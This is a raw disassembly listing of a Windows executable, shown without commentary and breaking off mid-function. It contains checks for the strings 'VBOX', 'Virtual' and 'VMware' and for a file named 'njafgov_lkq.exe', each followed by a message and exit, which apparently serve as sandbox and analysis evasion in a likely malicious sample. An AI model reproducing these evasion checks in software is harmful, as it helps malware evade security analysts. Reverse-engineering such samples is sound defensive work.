mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x405421
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fadd qword [0x4e6c4c]
fstp qword [ebp - 0x84]
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e6c54
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40547d
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x88], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e6c49
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x4054c7
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x8c], eax
fild dword [ebp - 0x88]
fstp qword [ebp - 0x94]
fld qword [ebp - 0x94]
fild dword [ebp - 0x8c]
fstp qword [ebp - 0x9c]
fsub qword [ebp - 0x9c]
fsub qword [0x4e6c4c]
fstp qword [ebp - 0xa4]
fld qword [ebp - 0xa4]
call fcn.00401004
push 0x80000301
push 0
push eax
fld qword [ebp - 0x84]
call fcn.00401004
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x405549
mov eax, 0x4e651c
push eax
push 3
mov ebx, 0x42b1e0
call fcn.0042a80a
add esp, 0x28
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0xa8]
push eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x405579
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x5c], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e6c57
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x4055ae
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fsub qword [0x4e671d]
fstp qword [ebp - 0x84]
fld qword [ebp - 0x84]
call fcn.00401004
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x4055ff
mov eax, 0x4e651c
push eax
push 2
mov ebx, 0x42b150
call fcn.0042a80a
add esp, 0x1c
mov dword [ebp - 0x88], eax
push 0
push dword [ebp - 0x88]
push 0xffffffffffffffff
push 8
push 0x160100da
push 0x52010001
call fcn.0042a828
add esp, 0x18
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x405649
push ebx
call fcn.0042a816
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x40565c
mov eax, 0x4e651c
push eax
push 1
mov ebx, 0x42ae20
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0x74], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e6c57
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x4056a3
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x78], eax
fild dword [ebp - 0x74]
fstp qword [ebp - 0x80]
fld qword [ebp - 0x80]
fild dword [ebp - 0x78]
fstp qword [ebp - 0x88]
fsub qword [ebp - 0x88]
fstp qword [ebp - 0x90]
fld qword [ebp - 0x90]
call fcn.00401004
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x5c]
test eax, eax
jne 0x4056fd
mov eax, 0x4e651c
push eax
push 2
mov ebx, 0x42b190
call fcn.0042a80a
add esp, 0x1c
mov dword [ebp - 0x94], eax
push 0
push dword [ebp - 0x94]
push 0xffffffffffffffff
push 8
push 0x160100db
push 0x52010001
call fcn.0042a828
add esp, 0x18
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x405747
push ebx
call fcn.0042a816
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e6c59
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x405778
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x40593b
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e6c62
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x4057c9
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fadd qword [0x4e6c4c]
fstp qword [ebp - 0x84]
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e6c65
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x405825
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x88], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e6c62
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40586f
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x8c], eax
fild dword [ebp - 0x88]
fstp qword [ebp - 0x94]
fld qword [ebp - 0x94]
fild dword [ebp - 0x8c]
fstp qword [ebp - 0x9c]
fsub qword [ebp - 0x9c]
fsub qword [0x4e6c4c]
fstp qword [ebp - 0xa4]
fld qword [ebp - 0xa4]
call fcn.00401004
push 0x80000301
push 0
push eax
fld qword [ebp - 0x84]
call fcn.00401004
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x4058f1
mov eax, 0x4e651c
push eax
push 3
mov ebx, 0x42b1e0
call fcn.0042a80a
add esp, 0x28
mov dword [ebp - 0xa8], eax
push 0
push dword [ebp - 0xa8]
push 0xffffffffffffffff
push 8
push 0x160100dc
push 0x52010001
call fcn.0042a828
add esp, 0x18
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x40593b
push ebx
call fcn.0042a816
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e6c68
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40596c
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x405c53
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4e6c73
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4e6c68
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.00407a19
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4059db
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4059eb
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x405a02
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x60], eax
lea eax, [ebp - 4]
push eax
call fcn.004147dd
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x405a26
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x64], eax
push 0x4e651c
push dword [ebp - 0x64]
call fcn.004014e1
add esp, 8
cmp eax, 0
jne 0x405a69
lea eax, [ebp - 4]
push eax
call fcn.004147dd
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x405a63
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x64], eax
jmp 0x405a2a
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e671b
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x60]
test eax, eax
jne 0x405a8e
mov eax, 0x4e651c
push eax
push 3
mov ebx, 0x42bdd0
call fcn.0042a80a
add esp, 0x28
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x68]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x405ac6
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x405ac2
imul eax, dword [ebx]
jmp 0x405ab7
mov ecx, eax
test ecx, ecx
je 0x405ae5
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x405ade
push ebx
push eax
call fcn.0042a816
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x405acc
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x68], eax
mov ebx, dword [ebp - 0x68]
call fcn.00401586
xor ecx, ecx
push eax
lea eax, [ebp - 0x6c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x405bb0
mov ebx, dword [ebp - 0x68]
call fcn.0040159f
push ebx
push ecx
mov eax, dword [ebp - 0x6c]
dec eax
jns 0x405b2d
push 4
call fcn.0042a81c
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x405b40
push 1
call fcn.0042a81c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x74], ebx
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x74]
mov eax, dword [ebx]
test eax, eax
jne 0x405b6f
mov eax, 0x4e651c
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x64]
test eax, eax
jne 0x405b83
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0xffffffff
je 0x405ba8
jmp 0x405bb0
pop eax
pop ebx
pop ecx
jmp 0x405b02
add esp, 0xc
cmp dword [ebp - 0x70], 0xffffffff
jne 0x405c53
mov dword [0x520e24], 0
push 0x4e6c76
push dword [ebp - 0x64]
push 0x4e6c9b
mov ecx, 3
call fcn.00401096
add esp, 0xc
mov dword [ebp - 0x74], eax
push 0
push 0
push 0
push 0x80000301
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x405c09
mov eax, 0x4e651c
push eax
push 3
mov ebx, 0x42dca0
call fcn.0042a80a
add esp, 0x28
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x405c2c
push ebx
call fcn.0042a816
add esp, 4
push 0
push 1
push 0xffffffffffffffff
push 6
push 0x16010010
push 0x52010001
call fcn.0042a828
add esp, 0x18
push 0
call fcn.0042a82e
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e6ca0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x405c84
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x405df4
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.VBOX
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x520df8]
test eax, eax
jne 0x405cd7
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
jne 0x405dad
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.Virtual
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x520df8]
test eax, eax
jne 0x405d2a
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0xffffffff
jne 0x405dad
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.VMware
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x520df8]
test eax, eax
jne 0x405d83
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0xffffffff
jne 0x405dad
xor eax, eax
jmp 0x405db2
mov eax, 1
test eax, eax
je 0x405df4
push 0
push 0
push 0
push 0x80000301
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e6cc2
push 3
mov ebx, 0x42dca0
call fcn.0042a80a
add esp, 0x28
push 0
call fcn.0042a82e
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e6cd3
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x405e25
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x405f6c
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.0042a83a
add esp, 0x10
mov dword [ebp - 0x74], eax
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.test
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x405e8f
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x405eb5
push ebx
call fcn.0042a816
add esp, 4
cmp dword [ebp - 0x78], 0xffffffff
je 0x405f25
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.0042a83a
add esp, 0x10
mov dword [ebp - 0x80], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x80]
test eax, eax
jne 0x405eeb
mov eax, 0x4e651c
push eax
push 1
mov ebx, 0x42ae20
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x405f14
push ebx
call fcn.0042a816
add esp, 4
cmp dword [ebp - 0x84], 4
jne 0x405f25
xor eax, eax
jmp 0x405f2a
mov eax, 1
test eax, eax
je 0x405f6c
push 0
push 0
push 0
push 0x80000301
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e6ce3
push 3
mov ebx, 0x42dca0
call fcn.0042a80a
add esp, 0x28
push 0
call fcn.0042a82e
add esp, 4
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e6d0c
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x405f9d
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x4060da
push 0
mov ebx, 0x42ae80
call fcn.0042a80a
add esp, 4
mov dword [ebp - 0x74], eax
push str.njafgov_lkq.exe
push dword [ebp - 0x74]
call fcn.004014e1
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x406000
push ebx
call fcn.0042a816
add esp, 4
cmp dword [ebp - 0x78], 0
je 0x40605b
mov dword [0x520e24], 0
mov dword [ebp - 0x74], esp
push 0x7d0
push 0
push 0x40
push 0x4e6689
push 0x4e6d25
push 0
mov eax, 0
call fcn.0042a822
cmp dword [ebp - 0x74], esp
je 0x406051
push 6
call fcn.0042a81c
add esp, 4
push 0
call fcn.0042a82e
add esp, 4
mov eax, str.njafgov_lkq.exe
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x74]
push eax
call fcn.00414a15
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x40607f
push ebx
call fcn.0042a816
add esp, 4
cmp dword [ebp - 0x78], 1
jle 0x4060da
mov dword [0x520e24], 0
mov dword [ebp - 0x74], esp
push 0x7d0
push 0
push 0x40
push 0x4e6689
push 0x4e6d54
push 0
mov eax, 0
call fcn.0042a822
cmp dword [ebp - 0x74], esp
je 0x4060d0
push 6
call fcn.0042a81c
add esp, 4
push 0
call fcn.0042a82e
add esp, 4
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4060ea
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4060fa
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x40610a
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x40611a
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x40612a
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x406148
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x406144
imul eax, dword [ebx]
jmp 0x406139
mov ecx, eax
test ecx, ecx
je 0x406167
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x406160
push ebx
push eax
call fcn.0042a816
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x40614e
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x40617f
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x40618f
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x40619f
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x4061af
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x4061bf
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4061cf
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x4061df
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x44]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x4061fd
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x4061f9
imul eax, dword [ebx]
jmp 0x4061ee
mov ecx, eax
test ecx, ecx
je 0x40621c
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x406215
push ebx
push eax
call fcn.0042a816
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x406203
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x406234
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x406244
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x406254
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x58]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x406272